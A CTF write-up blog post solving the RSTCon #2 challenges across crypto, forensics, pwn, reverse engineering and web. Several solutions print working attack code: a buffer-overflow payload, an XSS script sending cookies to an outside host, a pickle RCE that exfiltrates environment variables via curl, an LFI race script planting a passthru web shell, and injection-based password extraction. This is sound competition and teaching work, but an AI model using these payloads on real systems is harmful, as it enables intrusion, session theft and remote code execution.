Dragos Albastroiu

Security engineer, hacker, CTF player with team @WreckTheLine


March 21, 2022

I participated in the RSTCon #2 CTF, it was an individual competition. Solved all the challenges except for the Windows pwn challenge.


The challenges were in romanian, so please bear with me. I'm going to translate the challenge name and description, but some flags might still be in romanian.


Collision (50) - crypto


The challenge is simple, find two strings that generate the same MD5 hash to receive the flag.

Challenge link:

Author: Dragos

The challenge is pretty straight forward. We can find two strings that hash to the same value on stackoverflow. They however are hex strings, so in order to send the correct values we must urlencode them.

POST /coliziune/ HTTP/1.1
Content-Length: 397
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


We will then get the flag:


Hashes (50) - crypto


The following MD5 hashes were generated from Romanian words without diacritics and suffixed with the string "flag" (e.g. in PHP md5($string . "flag") ).

fd5abd068c82e5d162db83ae0515e9ce c32fd3934458d4633ada2101e29cde2b d687c85dc2e8505ebc270a789db72ab6 9f6cf9de93b8c74a3ec648e7c52bba62 ffecf9eaea910bc6fd81ea3c0055befc d7a60e7d2a2d5b98917a776a9973e3df c7cf8413ce9e4f1fac2bb0245ab5ab18 aed9bbc3a1a9f6aa4b07b210cdd57e89 55db1ec956e4f391de89d8f749a0cbe1 aed9bbc3a1a9f6aa4b07b210cdd57e89

The flag is the longest word encrypted in MD5 as RST{md5}.

Author: Dragos

We can solve this challenge with a simple Python script. The words are taken from here:

hashes = [

import hashlib

w = open('words.txt','r').read().split('\n')

for c in w:
e = hashlib.md5( (c.lower() + 'flag').encode() ).hexdigest()
if e in hashes:
print(c.lower(), len(c))

# The longest word is 'inteligenta'
# print('RST{' + hashlib.md5(b'inteligenta').hexdigest() + '}')

The flag is:


Forensics VM (428) - forensics


Download VM: (3GB) - VMWare A hacker gained access to a Linux server. We'll have to find out what he did on that server and what kind of data he was able to gain access to. User: CTF Pass: RSTCON

The final flag will take the form: RST{SHA1-flag1|flag2|flag3|flag4|flag5} - The SHA1 hash of the concatenation of the 5 discovered flags. All are required and all start with RSTCON_ (which must be removed when generating the hash).

Author: Nytro

We are given the VMware image of a Debian VM. I had an issue where I couldn't run the VM, so I was left with doing disk forensics through other means.

First I converted the the .vmdk files to a raw .img using Starwind V2V Converter.

We can then mount the image (in the end I kinda cheesed the challenge, but this is good to know)

$ fdisk -l Debian\ 11.x.img
Disk Debian 11.x.img: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x2e25352f

Device Boot Start End Sectors Size Id Type
Debian 11.x.img1 * 2048 39942143 39940096 19G 83 Linux
Debian 11.x.img2 39944190 41940991 1996802 975M 5 Extended
Debian 11.x.img5 39944192 41940991 1996800 975M 82 Linux swap / Solaris

$ losetup -o 1048576 /dev/loop5 Debian\ 11.x.img # 1048576 = 2048 * 512
$ mount -o loop /dev/loop4 /tmp/RST

Another thing we can do because we have the raw .img is just to open it in a hex editor, I used HxD. We can then just search for RSTCON_ to get a few free flags (this isn't the best way when working on real incidents, but in a CTF it works pretty well):

Ended up getting all the flags this way, 1 flag was base64 encoded, 1 flag was base32 encoded and 1 was hex encoded. The other was in plaintext (check both UTF-8 and UTF-16)

The flags are:


To form the final flag we must concatenate them like so:


The final flag is:


Intercepted call (50) - misc


We intercepted the following messages, but we can't figure out what they mean.



Author: Dragos

This is multi-tap phone (sms) cipher. We can decode it using

We get ASTAESTFELAGULMAIUSORFFCRIPTAT which is not quite right, it should be 32 characters long. We can correct the flag manually so that it makes sense.

The final flag is


Chatter (388) - misc


It's important to talk to us (and not to each other) if you have problems with the exercises. But we can also discuss if they don't. Let's talk! You know where to find us.

The flag is hidden in this Slack message:

We can see some suspicious things like RST{} and _.

We just need to take the first capital letter from each sentence and we get the flag.


Forum (496) - misc


A flag was leaked on the forum. The best place to hide it is in plain sight. Very "in plain sight". URL:

Author: Nytro

The flag is on the forum, so we can just search for it. The main thing to note is that we need to put "RST{" between quotes in order to get an exact match.


Bruteforce (388) - networking


It's not about guess, it's about bruteforce. There are many situations where attackers gain access to resources through this method. It works. Server:

Author: Nytro

The challenge title says it all about this challenge.

We are given a ftp server which we must bruteforce. I used hydra with this username wordlist:


And the 2020-200_most_used_passwords.txt dictionary for passwords.

And we find that the credentials admin with 1234567890 are good.

Logging on with ftp we get a zip file named Of course this zip is password protected so we must bruteforce it as well. Using zip2john then john we can crack the password which is timeout. Then we get a /etc/shadow file with the users admin and steag. It seems obvious that we must crack steag's password. To crack it we must use the following command because the shadow file is using the new yescrypt format:

$ john shadow --format=crypt

Then we login to ftp with username steag and password champion and we get the flag.


Boferk (280) - pwn


After months of spying we managed to infiltrate a group of cyber criminals who deal with stealing money from banks. The leader of the group gave us access to one of the most advanced programs in existence that takes advantage of exploits not yet known to the public. We've left you the program below, see what you can find with it. Server: Download: (password rstctfDl1#$BNk2022) Author: YKelyan

Simple buffer overflow. This is the source code:

#include <stdio.h>

void init()
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

void secret()
printf("Acum incearca si remote\n");

void echo()
char buffer[20];
printf("Hello Hacker! Tocmai ce am primit IBAN-ul tau. Acum poti sa extragi cati bani doresti\n");
printf("Introdu suma pe care vrei sa o extragi:");
scanf("%s", buffer);
printf("Tranzactie acceptata, suma de %s LEI a fost extrasa cu succes", buffer);

int main()

return 0;

We can override the buffer in echo and then jump to secret. We can see that the binary has almost no protections:

$ checksec chall
[*] '/mnt/c/Users/anon/Desktop/rstcon/z8x8yx/z8x8yx_folder/chall'
Arch: amd64-64-little
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

We can get the secret function address from IDA. This is the final payload:

(python3 -c 'from pwn import p64; open("payload","wb").write(b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"+p64(0x404090)+p64(0x00401199))'; cat -) | nc 1337

And we get the flag:


Shellcode (136) - rev


A shellcode was captured by the SOC team. It needs help to find out what it does and what the risk is.

Author: Nytro

To quickly solve this, we can just run strings on the shellcode:

$ strings shellcode.bin
X M1
T$ H1
T$ H

We can notice a https:// link, the P(H/T) are part of the x86-64 instructions, so we can ignore them.

What we're left is with the link

We can get more info using curl

$ curl -v

* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 24 Mar 2022 13:50:47 GMT
< Content-Length: 0
< Cache-Control: no-cache, no-store
< Expires: -1
< Location:
< Engine: Rebrandly.redirect, version 2.1

However the URL doesn't work

$ curl
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<address>Apache/2.4.25 (Debian) Server at Port 443</address>

We should check the /rstcon/ path though.

$ curl
  <title>Index of /rstcon</title>
<h1>Index of /rstcon</h1>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="flag.txt">flag.txt</a></td><td align="right">2022-03-16 12:01  </td><td align="right"> 33 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="test.txt">test.txt</a></td><td align="right">2022-03-16 11:56  </td><td align="right">  1 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
<address>Apache/2.4.25 (Debian) Server at Port 443</address>

We can notice there's a flag.txt file

$ curl


Crack me (460) - rev


The software for automatically solving exercises for CTFs has been leaked, but the license code is missing. It will have to be cracked. Format flag: RST{license_code}

Author: Nytro

This was a pretty straightforward crackme.

First, it takes the input as a command-line argument and it verifies that the length of the flag is 32:

Then it calls this function that checks if the license is valid:

The first thing that the functions does is to check if the serial contains - in the right places and then it strips the input of -:

We can see the idx (starting from 0) that must have a dash:

After that the serial compares the first 6 characters from the serial (the one without -) minus a predefined array with the string Vasile:

Then it downloads a part of the license from (string was deobfuscated by adding 20):

And then checks that the downloaded license signature is equal to the end of our serial.

Then it checks that the string RSTCON is in the license at the given idx:

Lastly, the remaining free spots in the license are checked with the string M25GROPY, but characters in our license are taken backwards (from idx 13 to idx 6) so we actually need to have YPORG52M in our license:

And that's all, we got our valid license and we just need to wrap it in RST:


Pop-up (460) - rev


Dragos wrote an application to validate the sent flag, but something seems to go wrong. Can you check?

Author: Dragos

The .exe is a AutoIt v3 compiled script, manually reversing this would be pretty hard, but luckily we can just extract the source code with AutoIt-Ripper, the output is script.au3

$ cat script.au3
$FLAG = InputBox ( "Flag" , "Introdu flag-ul" )
If StringLeft ( $FLAG , 3 ) <> "RST" Then
        MsgBox ( 0 , "Incorect" , "Incorect" )
ElseIf StringMid ( $FLAG , 3 , 10 ) <> "flag" Then
        MsgBox ( 0 , "Incorect" , "Incorect" )
        MsgBox ( 0 , "Flag" , "RST{48529cf56fdbee75050b87539d7cb670}" )

Pretty easy to spot the flag:


Steago (50) - stegano


A picture is worth a thousand words. Flag: RST{data}
$ strings -n 15 RST.png
OiCCPPhotoshop ICC profile
zTXtRaw profile type iptc
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.36'>
<?xpacket end='r'?>

Suspicious looking base64 VEhJU19XQVNfTk9UX1NPX0hBUkQ= which is the flag


RST Coin (50) - web


We have launched a new RST Coin. You can use the app below to buy a maximum of 3 coins and with a minimum of 10 coins you can get the flag.

Challenge link:

Author: Dragos

Race condition. We can solve this by sending the request in Burp's Intruder and set the number of threads to 50 and use null payloads.

We should be then able to get 10 coins due to the race condition. If not we can increase the number of threads or try many times (it only needs to work once).


Secure API (338) - web


Dragos has been working on a web API secured by a JWT. We managed to steal a HAR from him and understood that the signing key is in an unsecured text file. Can you go in and see what it's about?

Challenge link:

Author: Dragos

We are given a .har file that contains an expired JWT token

"cookies": [
        "name": "jwt",
        "value": "eyJraWQiOiJmbGFnIiwiYWxnIjoiUlMyNTYifQ.eyJpc3MiOiJqd3QtaSIsInN1YiI6Imp3dC1pIiwiYXVkIjoicnN0Y29uIiwiaWF0IjoxNjQ3MTc4MjQzLCJleHAiOjE2NDcxODE4NDN9.P8vboowRNXoFjnD1EqjgAC0hC-C6XJwJwa7Xl-Ld1wT4IsGlykZCb6HoA9FzsORt894xKQOPXQXlvUNyzvNi7P2dpGJ33SSJu3wK2wZnmy3lsrTddPCCOswGkmWYPmad-NqS5Vfn21DAXYDeaJqKREVSGodjUIbnDrCHeByYZCMMJafzWsceooaHUKqIGTgSShznOgBc1Y4qjAeVZFZwsDC6M2C3Fl2B6JUGGJzLLoD17d_XpUlnGxZ81J2_ATmoqLgjHOAA1cPyjSQ5oSCILLui_5cjUZX5mu90-DpQaMERrhwoUz8KjjH2YM8U6a_RR0abiueH9Aa2xQmQw7L90Q",
        "path": "/ctf/web/jwt-i",
        "domain": "localhost",
        "expires": "2022-03-13T14:30:43.059Z",
        "httpOnly": false,
        "secure": false

The description also hints that the private key is in a .txt file, so we just have to use gobuster to find it. The file is named cert.txt (common words + .txt extension bruteforce)

We can then change the expiration date on the JWT token, we can use in order to do that.

With the correct JWT we get the flag:


Simple Admin Panel (338) - web


A simple administration panel protected by bruteforce. The correct password will display the flag.

Challenge link:

Author: Dragos

By visiting /index.php~ we get the source code of the application:

if(@$_SESSION['login'] == "")
@$_SESSION['login'] == 0;
<!DOCTYPE html>
<title>Simple Admin panel</title>
<form action="" method="post">
Password: <input type="password" name="password"><br />
<input type="submit" value="Login">
</form><br />
$password = rotate(@$_POST['password'], 10);
if(@$_SESSION['login'] == 3)
echo "Bruteforce blocat. Incearca alta varianta.";
}elseif($password == "d461de2ba13b3c0c093357dc4573f028")
echo "RST{" . strtoupper(md5($_POST['password'])) . "}";
}elseif(@$_POST['password'] != "")
echo "Parola incorecta. Mai ai " . (3 - @$_SESSION['login']) . " sanse.";

function rotate($string, $target, $current=0)
$string = md5($string . "flag");
if($target == $current)
return $string;
return rotate($string, $target, $current+1);

So we just need to bruteforce the hash. We can do that using python:

import hashlib

def rotate(s, target, current=0):
s = hashlib.md5(s.encode() + b'flag').hexdigest()
if target == current:
return s
return rotate(s, target, current+1)

r = open('../hackthebox/misc/rockyou.txt', 'rb').read().split(b'\n')

for c in r:
s = c.decode()
if rotate(s, 10) == 'd461de2ba13b3c0c093357dc4573f028':

The password is movingon, we can input it on the web application to get the flag:


Tournament (460) - web


We have just installed the platform for the castings but we are not sure if it is safe. Couldn't hurt to have a little help.


Author: sld

There's LFI in the /?file=expose.php parameter. With that we can dump the contents of expose.php and and index.php using /?file=php://filter/convert.base64-encode/resource=. These 2 fragments of code are relevant:

    if ($_COOKIE['password'] !== getenv('PASSWORD')) {
setcookie('password', 'PASSWORD');
die('Administration only!');
    if (isset($_GET["text"])) {
$text = $_GET["text"];
echo "<h2>Counting: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";

We need to get the admin password, but we can't read /proc/self/environ. We dirbust and find /background.php which contains the password (we used the same LFI trick to get the source code):

$password = "xyz1337";
echo "404";

header('Location: /');

With the password we can get RCE by escaping out of printf in the exec function. We need to get a reverse shell as we need to escalate privileges to get the flag.

Only the mov user can access the flag, meanwhile we are www-data. We run but there's no thing that we can exploit.

After some guessing we find that the password for mov user is hidden in the jquery-3.6.0.min.js file at the end: cmFtYm8= which base64 decoded is rambo. We then su as mov and we get the flag:


DNS lookup (482) - web


Dragos has created a DNS lookup application and authentication system. Can you exploit the app and get admin access?

Challenge link:

Note: The exploit must be sent to Dragos on the forum via PM in order to progress.

Author: Dragos

Reflected XSS in the TXT data of the domain's DNS record. Some domain providers like Namecheap won't allow XSS payloads so a custom DNS server is required. This is a perfect use case for, unfortunately the dig command didn't work for subdomains :(, ended up having to use the main domain for XSS.

The TXT:

<script src="//" ></script>


fetch('//', {'method':'POST', 'body':document.cookie});


Eat safe (496) - web


The admin ate straight from the jar.


Author: Matasareanu13

Bruteforce /add endpoint. Then notice that it only accepts POST requests.

Bruteforce parameters and we find item. Using item we notice that it creates a cookie which base64 decoded looks like a pickle payload.

HTTP/1.1 302 FOUND
Content-Length: 208
Content-Type: text/html; charset=utf-8
Date: Fri, 18 Mar 2022 10:35:46 GMT
Server: waitress
Set-Cookie: contents=gASVDwAAAAAAAABdlChLAIwFYWRtaW6UZS4=; Path=/

<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.

If we set our cookie to that contents value then the list will get bigger. So it will unserialize our pickle payload.

We can get RCE when untrusted pickle objects are unserialized:

import pickle
import os
import pickletools
import base64

class PickleBomb:
def __reduce__(self):
cmd = ('cat /proc/self/environ | base64 -w0 | curl -d @-')
return os.system, (cmd,)

pickled = pickle.dumps([PickleBomb()])



And we get the flag:


Inception (496) - web


We need to go deeper! Server:

Author: Ionut Cernica

LFI in the login POST request:

POST /?p=php://filter/convert.base64-encode/resource=auth.php HTTP/1.1
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


We check to see if the web site is vulnerable to PHP_SESSION_UPLOAD_PROGRESS, and indeed it is.

This is the python script that creates the session with the payload:

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = ''
sess_name = 'iamkaibro2'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name

payload = """
Testok<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>Testend

def runner1(i):
data = {
while 1:
fp = open('/etc/passwd', 'rb')
r =, files={'f': fp}, data=data, headers=headers)

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
# print filename
while 1:
url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F={}'.format(HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
print [c]

runner = runner1

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

Meanwhile using Burp we just need to send POST /?p=../../../../../../var/lib/php/sessions/sess_iamkaibro2 HTTP/1.1 using Intruder until we create the /tmp/g file

To get the flag we just then include the /tmp/g and pass the command:

POST /?p=/tmp/g&f=cat+ff63dda359c9811e3aa389.flag HTTP/1.1
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
User-Agentt: zerodiumsystem('id')
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close



Pastebin (496) - web


I launched a pastebin service and added the flag to one of the posts. Can you find it?

Challenge link:

Author: Dragos

We can get the source code by visiting /index.php~

include "/var/www/pastebin/core.php";
<!DOCTYPE html>
<title>RST pastebin</title>
<h2>RST pastebin</h2>
$article = new article();
if(@$_GET['id'] != "" && $article->validateSecret($_GET['secret']) == $_GET['secret']){
echo "<textarea style=\"width:300px;height:50px\">".get_article($_GET['id']."</textarea>";
if(@$_POST['post'] != "")
$article->add_article($_POST['post'], generateSecret($article->get_last_id()+1));
echo "Postarea a fost salvata. Intra <a href=\"?id=".$article->get_last_id()."&secret=".$article->get_last_secret()."\">aici</a> pentru a o vedea.<br />";
echo "<form action=\"\" method=\"post\"><textarea style=\"width:300px;height:50px\" name=\"post\"></textarea><br /><input type=\"submit\" value=\"post\"></form>";

function generateSecret($id)
$secretUuid = sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),mt_rand( 0, 0xffff ),mt_rand( 0, 0x0fff ) | 0x4000,mt_rand( 0, 0x3fff ) | 0x8000,mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ));
return md5('secret-${secretUuid}' . $id);


Each new paste contains an id and a secret /?id=246&secret=8c943f748057184369facf52ea439ba7 and we now have the code on how to generate the secret. Se can see that the vulnerability is on the line

return md5('secret-${secretUuid}' . $id);

As single quotes do not do variable substition in PHP, only double quotes do that. So the secret is just md5 of that string secret-${secretUuid} concatenated with the id;

To get the flag we must actually set the id to flag and thus we get the secret=md5(secret-${secretUuid}flag)=70a7ad6f4c8268920b8589fbe3f4ddf8

We can get the flag by visiting /?id=flag&secret=70a7ad6f4c8268920b8589fbe3f4ddf8


Link (500) - web


To make the job of CTF players easier we have launched a platform where they can share useful links.

URL: User: ctf Pass: ctf

Bruteforce to find /users.php, how /links.php has a ?query=contains(column, string) parameter, we try it on the users.php and it works. We then proceed to leak the password of root:

import requests
import string
flag = 'RST{'

s = requests.Session()

r ='', {'username':'ctf', 'password':'ctf', 'login':'Login'})

while '}' not in flag:
for c in '0123456789' + string.ascii_lowercase + '}_':
url = f",'{flag+c}')"
r = s.get(url)
if 'root' in r.text:
flag += c


Twitter GitHub LinkedIn